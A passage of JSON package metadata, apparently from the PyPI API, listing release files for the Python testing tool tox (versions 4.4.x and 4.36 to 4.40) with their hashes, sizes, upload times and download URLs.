41f5159fd6/tox-4.36.0.tar.gz","yanked":false,"yanked_reason":null}],"4.36.1":[{"comment_text":null,"core-metadata":{"sha256":"922b7b9a8a5604975d581692ab483ac5027c1df9e6e5a273c1aaa9a1fe8afa95"},"digests":{"blake2b_256":"e6e71062d8115dc52692c935b665269f44b1d73ef864ca6bc33ecc41dd173852","md5":"391576f891046b9cb52fbea506d4101c","sha256":"1a26afa08ff0a527e2055959c99907058328aaa5134fcea07ad2ae1dbce1a09a"},"downloads":-1,"filename":"tox-4.36.1-py3-none-any.whl","has_sig":false,"md5_digest":"391576f891046b9cb52fbea506d4101c","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.10","size":182299,"upload_time":"2026-02-17T01:06:18","upload_time_iso_8601":"2026-02-17T01:06:18.323851Z","url":"https://files.pythonhosted.org/packages/e6/e7/1062d8115dc52692c935b665269f44b1d73ef864ca6bc33ecc41dd173852/tox-4.36.1-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":null,"core-metadata":false,"digests":{"blake2b_256":"665ccac6e0129a3cdb1314553fbb77f3228700a6491fab6e163bb9e706865314","md5":"ec7cd8cf8372e91855c921b450b94394","sha256":"085ddf2e6ebd2a5be04ae8f4a2c6422a7994a4702b3c187edc4e99f1e7ccdc2a"},"downloads":-1,"filename":"tox-4.36.1.tar.gz","has_sig":false,"md5_digest":"ec7cd8cf8372e91855c921b450b94394","packagetype":"sdist","python_version":"source","requires_python":">=3.10","size":212677,"upload_time":"2026-02-17T01:06:20","upload_time_iso_8601":"2026-02-17T01:06:20.121222Z","url":"https://files.pythonhosted.org/packages/66/5c/cac6e0129a3cdb1314553fbb77f3228700a6491fab6e163bb9e706865314/tox-4.36.1.tar.gz","yanked":false,"yanked_reason":null}],"4.37.0":[{"comment_text":null,"core-metadata":{"sha256":"b499b7cc9fce68d33cd1330cde7883600830b64f907eb0a938f1c66f8fa88d3c"},"digests":{"blake2b_256":"6f17db95d15ed01fa2cd7896e94e30c1dc4710e12d6dba6f219e592bad1d47b3","md5":"fe10bf21cd97f59759b8cfb9e6aeca73","sha256":"764902e83ab6ac5a44ba54b10e22e2ff7429d193fcd6c90e00abda33e41617f6"},"downloads":-1,"filename":"tox-4.37.0-py3-none-any.whl","has_sig":false,"md5_digest":"fe10bf21cd97f59759b8cfb9e6aeca73","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.10","size":183097,"upload_time":"2026-02-17T18:38:08","upload_time_iso_8601":"2026-02-17T18:38:08.487110Z","url":"https://files.pythonhosted.org/packages/6f/17/db95d15ed01fa2cd7896e94e30c1dc4710e12d6dba6f219e592bad1d47b3/tox-4.37.0-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":null,"core-metadata":false,"digests":{"blake2b_256":"3a6fd3f6334cc662097af0f77125be24c372cb709dbc60223c8a415ad4233f8f","md5":"f514c14fcbc659c5c5e373643017405b","sha256":"83fc286d8d838fecd3948f44f748c0ef7b25843908655a5a966766c90ca5264a"},"downloads":-1,"filename":"tox-4.37.0.tar.gz","has_sig":false,"md5_digest":"f514c14fcbc659c5c5e373643017405b","packagetype":"sdist","python_version":"source","requires_python":">=3.10","size":215347,"upload_time":"2026-02-17T18:38:10","upload_time_iso_8601":"2026-02-17T18:38:10.315732Z","url":"https://files.pythonhosted.org/packages/3a/6f/d3f6334cc662097af0f77125be24c372cb709dbc60223c8a415ad4233f8f/tox-4.37.0.tar.gz","yanked":false,"yanked_reason":null}],"4.38.0":[{"comment_text":null,"core-metadata":{"sha256":"7ebb47ae8006e96eff1eb08ee7322d9010be2a0295480fee67d67ec9804d8141"},"digests":{"blake2b_256":"54cf2832669a7df70d19d616e42ce18a583d24e1a5732f4ec9d34c38ec7e3182","md5":"4c73c4458df76e4a32e452e3f1ef605b","sha256":"0e90b771c609a6b44012ceadbba72ef6e428063707519491e3eae062e3aa1177"},"downloads":-1,"filename":"tox-4.38.0-py3-none-any.whl","has_sig":false,"md5_digest":"4c73c4458df76e4a32e452e3f1ef605b","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.10","size":183246,"upload_time":"2026-02-17T20:59:41","upload_time_iso_8601":"2026-02-17T20:59:41.886762Z","url":"https://files.pythonhosted.org/packages/54/cf/2832669a7df70d19d616e42ce18a583d24e1a5732f4ec9d34c38ec7e3182/tox-4.38.0-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":null,"core-metadata":false,"digests":{"blake2b_256":"e6da07e37dbbc2087ce6ef48a396b850f251ca6a8fa07143a72d84d77fe6b4ce","md5":"e60d8a8c05c4a2e45fd90a9833d7576a","sha256":"b053e32eabf09501b0b3903ac8ffe927ec5191304f3a56cff3adc1314c1bb2e7"},"downloads":-1,"filename":"tox-4.38.0.tar.gz","has_sig":false,"md5_digest":"e60d8a8c05c4a2e45fd90a9833d7576a","packagetype":"sdist","python_version":"source","requires_python":">=3.10","size":215498,"upload_time":"2026-02-17T20:59:43","upload_time_iso_8601":"2026-02-17T20:59:43.491501Z","url":"https://files.pythonhosted.org/packages/e6/da/07e37dbbc2087ce6ef48a396b850f251ca6a8fa07143a72d84d77fe6b4ce/tox-4.38.0.tar.gz","yanked":false,"yanked_reason":null}],"4.39.0":[{"comment_text":null,"core-metadata":{"sha256":"94a685ce94052e641d62fa5a0ad1795e80248f30b2ef477ccf1cb53b5d566fd4"},"digests":{"blake2b_256":"1c82ce1bd1a7502fa489b7ee193eb771571139f137affe8b80dd0a388a361aca","md5":"da7065636aa5d9ce3f7bef15751b7f49","sha256":"cf24e9fc1a7846162f03b17c228d18c3677c1c0a71324106317907a9cf0af945"},"downloads":-1,"filename":"tox-4.39.0-py3-none-any.whl","has_sig":false,"md5_digest":"da7065636aa5d9ce3f7bef15751b7f49","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.10","size":185276,"upload_time":"2026-02-18T20:14:42","upload_time_iso_8601":"2026-02-18T20:14:42.278016Z","url":"https://files.pythonhosted.org/packages/1c/82/ce1bd1a7502fa489b7ee193eb771571139f137affe8b80dd0a388a361aca/tox-4.39.0-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":null,"core-metadata":false,"digests":{"blake2b_256":"51786d66424337484631ee73264ee7a689540646fae6beca9a13bb847b6d96eb","md5":"888edb8849ead4dfcd506209b220a422","sha256":"24c1813d1a99f5fd039e2ef66a644a9ad5e2094708f0143cbea28d0f6d37b2f1"},"downloads":-1,"filename":"tox-4.39.0.tar.gz","has_sig":false,"md5_digest":"888edb8849ead4dfcd506209b220a422","packagetype":"sdist","python_version":"source","requires_python":">=3.10","size":221354,"upload_time":"2026-02-18T20:14:43","upload_time_iso_8601":"2026-02-18T20:14:43.930703Z","url":"https://files.pythonhosted.org/packages/51/78/6d66424337484631ee73264ee7a689540646fae6beca9a13bb847b6d96eb/tox-4.39.0.tar.gz","yanked":false,"yanked_reason":null}],"4.4.0":[{"comment_text":"","core-metadata":{"sha256":"beb3d98c566255e164f47db08c9fbb8f9a3bfc7e655ab6ab41e3f035f413630d"},"digests":{"blake2b_256":"5509c90e11722b3a94489bf1fe00b86eea6ca012633cedd13bfa9f61311102cc","md5":"6de0d4f810eca2c569bfa3833bc9174a","sha256":"a9aaef6ee45714bcc28c99aa91b6a8c098eca6b67d361c6d3ea033a82acfca22"},"downloads":-1,"filename":"tox-4.4.0-py3-none-any.whl","has_sig":false,"md5_digest":"6de0d4f810eca2c569bfa3833bc9174a","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.7","size":148633,"upload_time":"2023-01-25T20:44:18","upload_time_iso_8601":"2023-01-25T20:44:18.129536Z","url":"https://files.pythonhosted.org/packages/55/09/c90e11722b3a94489bf1fe00b86eea6ca012633cedd13bfa9f61311102cc/tox-4.4.0-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"791e99799824d6d211e511574ee393da0145ab12e7223dbefd950c9925a959af","md5":"87128ed18d2df6b13b373aca7d5029cc","sha256":"597d9e55e2b476e5b92cfedea7d4132b0ab90e6a23ba93774f47763239545d75"},"downloads":-1,"filename":"tox-4.4.0.tar.gz","has_sig":false,"md5_digest":"87128ed18d2df6b13b373aca7d5029cc","packagetype":"sdist","python_version":"source","requires_python":">=3.7","size":167626,"upload_time":"2023-01-25T20:44:20","upload_time_iso_8601":"2023-01-25T20:44:20.190974Z","url":"https://files.pythonhosted.org/packages/79/1e/99799824d6d211e511574ee393da0145ab12e7223dbefd950c9925a959af/tox-4.4.0.tar.gz","yanked":false,"yanked_reason":null}],"4.4.1":[{"comment_text":"","core-metadata":{"sha256":"db10c83d8b23e63a3ed7d94e2c339ea7fbb7580611c4c1a7864a34853f2d89e0"},"digests":{"blake2b_256":"11b61bb33831ced23544cb0455f5e4be47665ad3571418c7fc18bea32a682477","md5":"0989ee93ce8d5d3bec161cdb4f3cf9a1","sha256":"7ea2555d1f158a9df0d69942e1f1d2377d0705762bd07eb4bed24f0ff9204c8f"},"downloads":-1,"filename":"tox-4.4.1-py3-none-any.whl","has_sig":false,"md5_digest":"0989ee93ce8d5d3bec161cdb4f3cf9a1","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.7","size":148632,"upload_time":"2023-01-25T22:57:05","upload_time_iso_8601":"2023-01-25T22:57:05.630677Z","url":"https://files.pythonhosted.org/packages/11/b6/1bb33831ced23544cb0455f5e4be47665ad3571418c7fc18bea32a682477/tox-4.4.1-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"9e9228875b4c6fb4ce6721a6dbc156935e28238ad1437732e7d3d2ae70463095","md5":"293ad68ea94db8afe3892a9aa7a680ab","sha256":"a4d2ae52ed416e485638a373f89c644859a28651f6cfece52cd1040b6bed6a32"},"downloads":-1,"filename":"tox-4.4.1.tar.gz","has_sig":false,"md5_digest":"293ad68ea94db8afe3892a9aa7a680ab","packagetype":"sdist","python_version":"source","requires_python":">=3.7","size":167629,"upload_time":"2023-01-25T22:57:07","upload_time_iso_8601":"2023-01-25T22:57:07.768223Z","url":"https://files.pythonhosted.org/packages/9e/92/28875b4c6fb4ce6721a6dbc156935e28238ad1437732e7d3d2ae70463095/tox-4.4.1.tar.gz","yanked":false,"yanked_reason":null}],"4.4.10":[{"comment_text":"","core-metadata":{"sha256":"6a6c06d1772587ce021de9e59d19cab1625b7f855344eeda0436202b21745bf1"},"digests":{"blake2b_256":"3e9ddad75df0dab0149d2c0896b06b0b8bad43f08e9d01487b54b9bbb0b15ed9","md5":"20b1dafa55c83b5d837a3fa72e7f3e2a","sha256":"b597f27a7e25540126527390b96c2c69a574f28adb3cfd596ad3106fa3901f31"},"downloads":-1,"filename":"tox-4.4.10-py3-none-any.whl","has_sig":false,"md5_digest":"20b1dafa55c83b5d837a3fa72e7f3e2a","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.7","size":148966,"upload_time":"2023-04-05T17:16:39","upload_time_iso_8601":"2023-04-05T17:16:39.079706Z","url":"https://files.pythonhosted.org/packages/3e/9d/dad75df0dab0149d2c0896b06b0b8bad43f08e9d01487b54b9bbb0b15ed9/tox-4.4.10-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"9f79f52ccf13556df367fd98b0ac200d9e7e5b08315ae2bc9b4f56324443993e","md5":"2cd6cdf001d02e03f27371607e7c7a3f","sha256":"82b5ea9cd379db7f8e5a3de02f3ccd75b487aadb341eb04d2d5cd9d14aff92db"},"downloads":-1,"filename":"tox-4.4.10.tar.gz","has_sig":false,"md5_digest":"2cd6cdf001d02e03f27371607e7c7a3f","packagetype":"sdist","python_version":"source","requires_python":">=3.7","size":169955,"upload_time":"2023-04-05T17:16:41","upload_time_iso_8601":"2023-04-05T17:16:41.341524Z","url":"https://files.pythonhosted.org/packages/9f/79/f52ccf13556df367fd98b0ac200d9e7e5b08315ae2bc9b4f56324443993e/tox-4.4.10.tar.gz","yanked":false,"yanked_reason":null}],"4.4.11":[{"comment_text":"","core-metadata":{"sha256":"75b4f7a1d54e5cc8330c7fff30cf9d684730608316c0ca08162c8052e1670c94"},"digests":{"blake2b_256":"d0a845632ac7d361d5e58d9c38af7f2bae4055897ea66d7afabd33895cad64c0","md5":"9cb4e655230bf81bd77dac99506f0d07","sha256":"6fa4dbd933d0e335b5392c81e9cd467630119b3669705dbad47814a93b6c9586"},"downloads":-1,"filename":"tox-4.4.11-py3-none-any.whl","has_sig":false,"md5_digest":"9cb4e655230bf81bd77dac99506f0d07","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.7","size":148970,"upload_time":"2023-04-05T19:41:16","upload_time_iso_8601":"2023-04-05T19:41:16.696272Z","url":"https://files.pythonhosted.org/packages/d0/a8/45632ac7d361d5e58d9c38af7f2bae4055897ea66d7afabd33895cad64c0/tox-4.4.11-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"b4361cde454b0e34af1c5df419300359b5dd993fa815da395a530d0ba1e97104","md5":"a3d5cbd9d84ea773f38bc8b75a59d443","sha256":"cd88e41aef9c71f0ba02b6d7939f102760b192b63458fbe04dbbaed82f7bf5f5"},"downloads":-1,"filename":"tox-4.4.11.tar.gz","has_sig":false,"md5_digest":"a3d5cbd9d84ea773f38bc8b75a59d443","packagetype":"sdist","python_version":"source","requires_python":">=3.7","size":170069,"upload_time":"2023-04-05T19:41:18","upload_time_iso_8601":"2023-04-05T19:41:18.813998Z","url":"https://files.pythonhosted.org/packages/b4/36/1cde454b0e34af1c5df419300359b5dd993fa815da395a530d0ba1e97104/tox-4.4.11.tar.gz","yanked":false,"yanked_reason":null}],"4.4.12":[{"comment_text":"","core-metadata":{"sha256":"12a028592b9e5b9ed837738579aeea919a941218e63204930fda94dca7266a4d"},"digests":{"blake2b_256":"1cc82be49b376d18b1e32c591d88b1fee3a659d4691fa274705446e715ca4e21","md5":"d2b5ccb7bc1ea3579cb4352d38b683a1","sha256":"d4be558809d86fad13f4553976b0500352630a8fbfa39ea4b1ce3bd945ba680b"},"downloads":-1,"filename":"tox-4.4.12-py3-none-any.whl","has_sig":false,"md5_digest":"d2b5ccb7bc1ea3579cb4352d38b683a1","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.7","size":148968,"upload_time":"2023-04-13T19:18:33","upload_time_iso_8601":"2023-04-13T19:18:33.020267Z","url":"https://files.pythonhosted.org/packages/1c/c8/2be49b376d18b1e32c591d88b1fee3a659d4691fa274705446e715ca4e21/tox-4.4.12-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"470cc99dcd47a06cc29c95315a6857de932dfc42edd8bcb53825545279eb4130","md5":"53e05760c64bf8c18c777ada2caba107","sha256":"740f5209d0dec19451b951ee5b1cce4a207acdc7357af84dbc8ec35bcf2c454e"},"downloads":-1,"filename":"tox-4.4.12.tar.gz","has_sig":false,"md5_digest":"53e05760c64bf8c18c777ada2caba107","packagetype":"sdist","python_version":"source","requires_python":">=3.7","size":170092,"upload_time":"2023-04-13T19:18:35","upload_time_iso_8601":"2023-04-13T19:18:35.193923Z","url":"https://files.pythonhosted.org/packages/47/0c/c99dcd47a06cc29c95315a6857de932dfc42edd8bcb53825545279eb4130/tox-4.4.12.tar.gz","yanked":false,"yanked_reason":null}],"4.4.2":[{"comment_text":"","core-metadata":{"sha256":"462dc3d42921d7d304d32282b0758f4789dfe150a79d2057838b06a85e7352c4"},"digests":{"blake2b_256":"72686c1b1536e0dbfaf1351d4fa0f922305ff2cf2a90570bda7c378caa0eaf1c","md5":"4273a0be43d52aecf3002c7bac7153f5","sha256":"258895ba5de919490c03ef97467c4c8c42954537dfd96ae72cc2fb63dac67cf0"},"downloads":-1,"filename":"tox-4.4.2-py3-none-any.whl","has_sig":false,"md5_digest":"4273a0be43d52aecf3002c7bac7153f5","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.7","size":148637,"upload_time":"2023-01-25T23:01:19","upload_time_iso_8601":"2023-01-25T23:01:19.910849Z","url":"https://files.pythonhosted.org/packages/72/68/6c1b1536e0dbfaf1351d4fa0f922305ff2cf2a90570bda7c378caa0eaf1c/tox-4.4.2-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"8530a2004e7e6fb71ce3fc3427262e23709b7ccd103dabc9f9b4bab92cb49e48","md5":"159886469376634a057aff46fe52c6fd","sha256":"3d8a8dd8a5afdc0d37af3e2b4959e427fe22530d0aa599baf0120e144b3defa3"},"downloads":-1,"filename":"tox-4.4.2.tar.gz","has_sig":false,"md5_digest":"159886469376634a057aff46fe52c6fd","packagetype":"sdist","python_version":"source","requires_python":">=3.7","size":167628,"upload_time":"2023-01-25T23:01:21","upload_time_iso_8601":"2023-01-25T23:01:21.391495Z","url":"https://files.pythonhosted.org/packages/85/30/a2004e7e6fb71ce3fc3427262e23709b7ccd103dabc9f9b4bab92cb49e48/tox-4.4.2.tar.gz","yanked":false,"yanked_reason":null}],"4.4.3":[{"comment_text":"","core-metadata":{"sha256":"bdb26525de87e6ea68e876d89efa494900275fe3c4ce5634a8ed806d46d24a09"},"digests":{"blake2b_256":"879eca41d9025c506a234babb7b5f0018b31f404301f14b2d5ed2953ac53d114","md5":"0e3daeabcc9945f01b5ae1ef0ec6da9e","sha256":"04ad250ceff5ca4b6b7c62b8f7839fbbde8fd656d037756c9387eec6d643a7d8"},"downloads":-1,"filename":"tox-4.4.3-py3-none-any.whl","has_sig":false,"md5_digest":"0e3daeabcc9945f01b5ae1ef0ec6da9e","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.7","size":148773,"upload_time":"2023-01-31T03:41:40","upload_time_iso_8601":"2023-01-31T03:41:40.694841Z","url":"https://files.pythonhosted.org/packages/87/9e/ca41d9025c506a234babb7b5f0018b31f404301f14b2d5ed2953ac53d114/tox-4.4.3-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"9ba2443a7822a0a26bcb7898da67f72cd3d1bfe3852d00dbf72544e3382131fc","md5":"3188ea42e8c3c9eead7b317aa3938724","sha256":"2ae0ab67b0c4ca0fc3da0a8814f88ee6a94b43f5c911258c9b78e8b40591ed2b"},"downloads":-1,"filename":"tox-4.4.3.tar.gz","has_sig":false,"md5_digest":"3188ea42e8c3c9eead7b317aa3938724","packagetype":"sdist","python_version":"source","requires_python":">=3.7","size":167876,"upload_time":"2023-01-31T03:41:42","upload_time_iso_8601":"2023-01-31T03:41:42.783261Z","url":"https://files.pythonhosted.org/packages/9b/a2/443a7822a0a26bcb7898da67f72cd3d1bfe3852d00dbf72544e3382131fc/tox-4.4.3.tar.gz","yanked":false,"yanked_reason":null}],"4.4.4":[{"comment_text":"","core-metadata":{"sha256":"43b386bf6faf8730ee996469ba8897dc4043c342d5ef593aba3c1948ca8ecc98"},"digests":{"blake2b_256":"93935d1bef67a06f257cfe9f97cc30bee27f1e11c917907eacbabd8cd1e789bc","md5":"bb0dae3d689fd3ea2ef5af5b9f572a2a","sha256":"1195820ca35b141ce5ab040c9dfad8f03de6897c9bd867c6151dfb7dc58e64cd"},"downloads":-1,"filename":"tox-4.4.4-py3-none-any.whl","has_sig":false,"md5_digest":"bb0dae3d689fd3ea2ef5af5b9f572a2a","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.7","size":148794,"upload_time":"2023-01-31T21:44:53","upload_time_iso_8601":"2023-01-31T21:44:53.648386Z","url":"https://files.pythonhosted.org/packages/93/93/5d1bef67a06f257cfe9f97cc30bee27f1e11c917907eacbabd8cd1e789bc/tox-4.4.4-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"39003f491691cd6b4497354a3df20485bb5de2f251ded61c5cbea76f2e2cf8a6","md5":"2af147efef90d32e32da0e78235ec134","sha256":"e1ef01d9e9503b1218511f74517dc3f0008c8b5e0cc53ab7f51ff3c2ca63b349"},"downloads":-1,"filename":"tox-4.4.4.tar.gz","has_sig":false,"md5_digest":"2af147efef90d32e32da0e78235ec134","packagetype":"sdist","python_version":"source","requires_python":">=3.7","size":167884,"upload_time":"2023-01-31T21:44:55","upload_time_iso_8601":"2023-01-31T21:44:55.779014Z","url":"https://files.pythonhosted.org/packages/39/00/3f491691cd6b4497354a3df20485bb5de2f251ded61c5cbea76f2e2cf8a6/tox-4.4.4.tar.gz","yanked":false,"yanked_reason":null}],"4.4.5":[{"comment_text":"","core-metadata":{"sha256":"e8dec37f39eb4cf03d9b4f641b065bfd413223a484e7f8ad016fde3a0b4d4bae"},"digests":{"blake2b_256":"ebd56196345f73ccf07010eac1f4b90f15135524c4d8268b216001475ec8be72","md5":"a4d5372a7b1e7b518c9ecdf72337d09d","sha256":"1081864f1a1393ffa11ebe9beaa280349020579310d217a594a4e7b6124c5425"},"downloads":-1,"filename":"tox-4.4.5-py3-none-any.whl","has_sig":false,"md5_digest":"a4d5372a7b1e7b518c9ecdf72337d09d","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.7","size":148850,"upload_time":"2023-02-08T02:36:33","upload_time_iso_8601":"2023-02-08T02:36:33.752872Z","url":"https://files.pythonhosted.org/packages/eb/d5/6196345f73ccf07010eac1f4b90f15135524c4d8268b216001475ec8be72/tox-4.4.5-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"a8e80042a7ab15087a540d111b0002977a52392cfcefa0099360c272ad6444c3","md5":"77c8eca316229455831dc1409c822457","sha256":"f9bc83c5da8666baa2a4d4e884bbbda124fe646e4b1c0e412949cecc2b6e8f90"},"downloads":-1,"filename":"tox-4.4.5.tar.gz","has_sig":false,"md5_digest":"77c8eca316229455831dc1409c822457","packagetype":"sdist","python_version":"source","requires_python":">=3.7","size":167970,"upload_time":"2023-02-08T02:36:35","upload_time_iso_8601":"2023-02-08T02:36:35.755760Z","url":"https://files.pythonhosted.org/packages/a8/e8/0042a7ab15087a540d111b0002977a52392cfcefa0099360c272ad6444c3/tox-4.4.5.tar.gz","yanked":false,"yanked_reason":null}],"4.4.6":[{"comment_text":"","core-metadata":{"sha256":"40cf7349bd68b12736b51fdfa4311c2813dfab3498f7bfc650f74cd5e4ba13c9"},"digests":{"blake2b_256":"784bf91b72318db0548f7c6fbb5f4c28919fd1d514e03f0b31586327121d47f4","md5":"8a2544f6de96e3d7bab58c4f31cb31b4","sha256":"e3d4a65852f029e5ba441a01824d2d839d30bb8fb071635ef9cb53952698e6bf"},"downloads":-1,"filename":"tox-4.4.6-py3-none-any.whl","has_sig":false,"md5_digest":"8a2544f6de96e3d7bab58c4f31cb31b4","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.7","size":148963,"upload_time":"2023-02-21T17:40:48","upload_time_iso_8601":"2023-02-21T17:40:48.683318Z","url":"https://files.pythonhosted.org/packages/78/4b/f91b72318db0548f7c6fbb5f4c28919fd1d514e03f0b31586327121d47f4/tox-4.4.6-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"d77502b8654c1150a05f4f3967e470b459b07937cba862d698d5b02765f971cc","md5":"ded77b88a6a544fc1c12720bb4fbc7fb","sha256":"9786671d23b673ace7499c602c5746e2a225d1ecd9d9f624d0461303f40bd93b"},"downloads":-1,"filename":"tox-4.4.6.tar.gz","has_sig":false,"md5_digest":"ded77b88a6a544fc1c12720bb4fbc7fb","packagetype":"sdist","python_version":"source","requires_python":">=3.7","size":168260,"upload_time":"2023-02-21T17:40:50","upload_time_iso_8601":"2023-02-21T17:40:50.834042Z","url":"https://files.pythonhosted.org/packages/d7/75/02b8654c1150a05f4f3967e470b459b07937cba862d698d5b02765f971cc/tox-4.4.6.tar.gz","yanked":false,"yanked_reason":null}],"4.4.7":[{"comment_text":"","core-metadata":{"sha256":"76c7a63d87de12450129fcbe29e57249320102bbf2aae0bc6d69d9d35e21cc82"},"digests":{"blake2b_256":"669472db9d8b1ce82274e462e0a128b19a3a1618f99900adbb37edf69ab29f9c","md5":"c1b6ac0ead69ed384c1a943104c06218","sha256":"da10ca1d809b99fae80b706b9dc9656b1daf505a395ac427d130a8a85502d08f"},"downloads":-1,"filename":"tox-4.4.7-py3-none-any.whl","has_sig":false,"md5_digest":"c1b6ac0ead69ed384c1a943104c06218","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.7","size":148965,"upload_time":"2023-03-12T16:50:46","upload_time_iso_8601":"2023-03-12T16:50:46.246585Z","url":"https://files.pythonhosted.org/packages/66/94/72db9d8b1ce82274e462e0a128b19a3a1618f99900adbb37edf69ab29f9c/tox-4.4.7-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"ad655afee4b3e6d3fd242340b3c3a1d787f987c0aabe2597f6c7c44b04be6c51","md5":"cccbfc750ebf76652f0c77a8fac079c8","sha256":"52c92a96e2c3fd47c5301e9c26f5a871466133d5376958c1ed95ef4ff4629cbe"},"downloads":-1,"filename":"tox-4.4.7.tar.gz","has_sig":false,"md5_digest":"cccbfc750ebf76652f0c77a8fac079c8","packagetype":"sdist","python_version":"source","requires_python":">=3.7","size":168261,"upload_time":"2023-03-12T16:50:48","upload_time_iso_8601":"2023-03-12T16:50:48.527910Z","url":"https://files.pythonhosted.org/packages/ad/65/5afee4b3e6d3fd242340b3c3a1d787f987c0aabe2597f6c7c44b04be6c51/tox-4.4.7.tar.gz","yanked":false,"yanked_reason":null}],"4.4.8":[{"comment_text":"","core-metadata":{"sha256":"3250ea39fdf298f6dd739b6b8b7e2fa97a2b97a7d87969489da2eb4f95d4c160"},"digests":{"blake2b_256":"540bebe0a504960f325fefa4f2e03b5e02fcab2041d7088b07acf0d657fb0266","md5":"7c70efeba21ef469b9d7bd1d0e83c37e","sha256":"12fe562b8992ea63b1e92556b7e28600cd1b70c9e01ce08984f60ce2d32c243c"},"downloads":-1,"filename":"tox-4.4.8-py3-none-any.whl","has_sig":false,"md5_digest":"7c70efeba21ef469b9d7bd1d0e83c37e","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.7","size":148956,"upload_time":"2023-03-26T17:36:38","upload_time_iso_8601":"2023-03-26T17:36:38.770807Z","url":"https://files.pythonhosted.org/packages/54/0b/ebe0a504960f325fefa4f2e03b5e02fcab2041d7088b07acf0d657fb0266/tox-4.4.8-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"fcd314e1c4605a38653848aa4c817067d0b70d17c9905d2f4c6455e97fb57a67","md5":"a36687b48e7442ed0829d53f4cc41c37","sha256":"524640254de8b0f03facbdc6b7c18a35700592e3ada0ede42f509b3504b745ff"},"downloads":-1,"filename":"tox-4.4.8.tar.gz","has_sig":false,"md5_digest":"a36687b48e7442ed0829d53f4cc41c37","packagetype":"sdist","python_version":"source","requires_python":">=3.7","size":169460,"upload_time":"2023-03-26T17:36:41","upload_time_iso_8601":"2023-03-26T17:36:41.175417Z","url":"https://files.pythonhosted.org/packages/fc/d3/14e1c4605a38653848aa4c817067d0b70d17c9905d2f4c6455e97fb57a67/tox-4.4.8.tar.gz","yanked":false,"yanked_reason":null}],"4.4.9":[{"comment_text":"","core-metadata":{"sha256":"00619d6cbfd18f20bdc06ff76fa3150a49c76f65e826a276793579ae660276e1"},"digests":{"blake2b_256":"b3ac413bc433582be4a20665065764764ba30c6b90be929d4df4d52d0005cf76","md5":"bd2ac400f3e0e7ce8e2ef40bda2cfaeb","sha256":"fcf878c0a6258a97227d62fbac00ade65e21f6518b9c7206c5bb5a3e1e65fab0"},"downloads":-1,"filename":"tox-4.4.9-py3-none-any.whl","has_sig":false,"md5_digest":"bd2ac400f3e0e7ce8e2ef40bda2cfaeb","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.7","size":148973,"upload_time":"2023-04-05T14:02:27","upload_time_iso_8601":"2023-04-05T14:02:27.370791Z","url":"https://files.pythonhosted.org/packages/b3/ac/413bc433582be4a20665065764764ba30c6b90be929d4df4d52d0005cf76/tox-4.4.9-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"3d86fd0205bac6aea42a9ad0f52208d6a4c40fb0e4037566f4437a7c00744761","md5":"f7b1a12fb4393193296412e1c944cb2b","sha256":"1883bda00dba70c0358ee4646188db0739e7057c9f6507cd0cf123c1a618443a"},"downloads":-1,"filename":"tox-4.4.9.tar.gz","has_sig":false,"md5_digest":"f7b1a12fb4393193296412e1c944cb2b","packagetype":"sdist","python_version":"source","requires_python":">=3.7","size":169530,"upload_time":"2023-04-05T14:02:30","upload_time_iso_8601":"2023-04-05T14:02:30.207051Z","url":"https://files.pythonhosted.org/packages/3d/86/fd0205bac6aea42a9ad0f52208d6a4c40fb0e4037566f4437a7c00744761/tox-4.4.9.tar.gz","yanked":false,"yanked_reason":null}],"4.40.0":[{"comment_text":null,"core-metadata":{"sha256":"e9819674b3497406aa857b845487d36763b45719de3d369a4ec4fa8cd0717402"},"digests":{"blake2b_256":"abb97a5d14e559acf16c9223514158617c1f954771814c96f942ea0641ac0809","md5":"c605b4c7a7f5b78eccccacd2d0d31cbf","sha256":"9bffdca463154a13cb79a33a9e6927f35577b304c9442e583a60f0ec491b9168"},"downloads":-1,"filename":"tox-4.40.0-py3-none-any.whl","has_sig":false,"md5_digest":"c605b4c7a7f5b78eccccacd2d0d31cbf","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.10","size":187757,"upload_time":"2026-02-19T05:51:44","upload_time_iso_8601":"2026-02-19T